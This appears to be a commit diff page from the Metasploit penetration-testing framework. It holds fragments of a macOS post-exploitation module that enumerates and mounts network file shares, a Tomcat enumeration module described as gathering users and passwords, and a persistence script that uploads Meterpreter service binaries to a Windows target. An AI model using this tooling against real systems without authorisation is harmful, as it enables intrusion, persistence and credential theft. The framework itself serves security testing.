if line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length-2
|
||||
# Remove everything up to the double-quote after the equal sign,
|
||||
# and also the trailing double-quote
|
||||
if lines[x+1].match "^.*\=\"(.*)\w*\"\w*$"
|
||||
protocol = $1
|
||||
if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x+2].match("^.*\=\"(.*)\"\w*$")
|
||||
server = $1
|
||||
list.push(protocol + "\t" + server)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
list.sort
|
||||
end
|
||||
|
||||
# Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
|
||||
# an address, then click the [+] button next to the address field.
|
||||
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
|
||||
def get_favorite_shares(sidebar_plist_path)
|
||||
# Grep for URL
|
||||
data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
|
||||
list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && $1 }.compact
|
||||
|
||||
# Grep for EntryType and Name
|
||||
data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
|
||||
lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }
|
||||
|
||||
# Go through the list, find the rows with EntryType 8 and their corresponding name
|
||||
lines.each_with_index do |line, x|
|
||||
if line =~ /EntryType = 8;/ && x < lines.length-1
|
||||
if NAME_REGEXES.any? { |r| lines[x+1].strip =~ r }
|
||||
list.push($1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
list.sort
|
||||
end
|
||||
|
||||
# Returns the user's "Recent Shares" list
|
||||
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
|
||||
def get_recent_shares(recent_plist_path)
|
||||
# Grep for Name
|
||||
data = cmd_exec("defaults read #{recent_plist_path} Hosts")
|
||||
data.lines.map(&:strip).map { |line| line =~ URL_REGEX && $1 }.compact.uniq.sort
|
||||
end
|
||||
|
||||
# @return [Array<String>] sorted list of mounted volume names
|
||||
def get_mounted_volumes
|
||||
cmd_exec("ls /Volumes").lines.map(&:strip).sort
|
||||
end
|
||||
|
||||
def mount
|
||||
share_name = datastore['VOLUME']
|
||||
protocol = datastore['PROTOCOL']
|
||||
print_status("Connecting to #{protocol}://#{share_name}")
|
||||
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
|
||||
end
|
||||
|
||||
def umount
|
||||
share_name = datastore['VOLUME']
|
||||
print_status("Disconnecting from #{share_name}")
|
||||
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
|
||||
end
|
||||
|
||||
# hook cmd_exec to print a debug message when DEBUG=true
|
||||
def cmd_exec(cmd)
|
||||
vprint_status(cmd)
|
||||
super
|
||||
end
|
||||
|
||||
# Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
|
||||
# @param [String] line the URL to parse and print formatted
|
||||
def print_uri(line)
|
||||
if line =~ /^(.*?):\/\/(.*)$/
|
||||
print_good " #{$1}\t#{$2}"
|
||||
else
|
||||
print_good " #{line}"
|
||||
end
|
||||
end
|
||||
|
||||
# path to osascript on the remote system
|
||||
def osascript_path; datastore['OSASCRIPT_PATH'].shellescape; end
|
||||
end
|
||||
@@ -16,8 +16,12 @@ class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Tomcat Server Enumeration',
|
||||
'Description' => %q{ This module will enumerate a windows system for tomcat servers},
|
||||
'Name' => 'Windows Gather Apache Tomcat Enumeration',
|
||||
'Description' => %q{
|
||||
This module will collect information from a Windows-based Apache Tomcat. You will get
|
||||
information such as: The installation path, Tomcat version, port, web applications,
|
||||
users, passwords, roles, etc.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Barry Shteiman <barry[at]sectorix.com>', # Module author
|
||||
|
||||
@@ -507,4 +507,4 @@ if __FILE__ == $0
|
||||
$stderr.puts e.message
|
||||
exit(-1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -70,11 +70,21 @@ if client.platform =~ /win32|win64/
|
||||
print_status("Creating a temporary installation directory #{tempdir}...")
|
||||
client.fs.dir.mkdir(tempdir)
|
||||
|
||||
%W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin|
|
||||
next if (bin != "metsvc.exe" and remove)
|
||||
print_status(" >> Uploading #{bin}...")
|
||||
fd = client.fs.file.new(tempdir + "\\" + bin, "wb")
|
||||
fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin))))
|
||||
# Use an array of `from -> to` associations so that things
|
||||
# such as metsrv can be copied from the appropriate location
|
||||
# but named correctly on the target.
|
||||
bins = {
|
||||
'metsrv.x86.dll' => 'metsrv.dll',
|
||||
'metsvc-server.exe' => nil,
|
||||
'metsvc.exe' => nil
|
||||
}
|
||||
|
||||
bins.each do |from, to|
|
||||
next if (from != "metsvc.exe" and remove)
|
||||
to ||= from
|
||||
print_status(" >> Uploading #{from}...")
|
||||
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
|
||||
fd.write(::File.read(File.join(based, from), ::File.size(::File.join(based, from))))
|
||||
fd.close
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user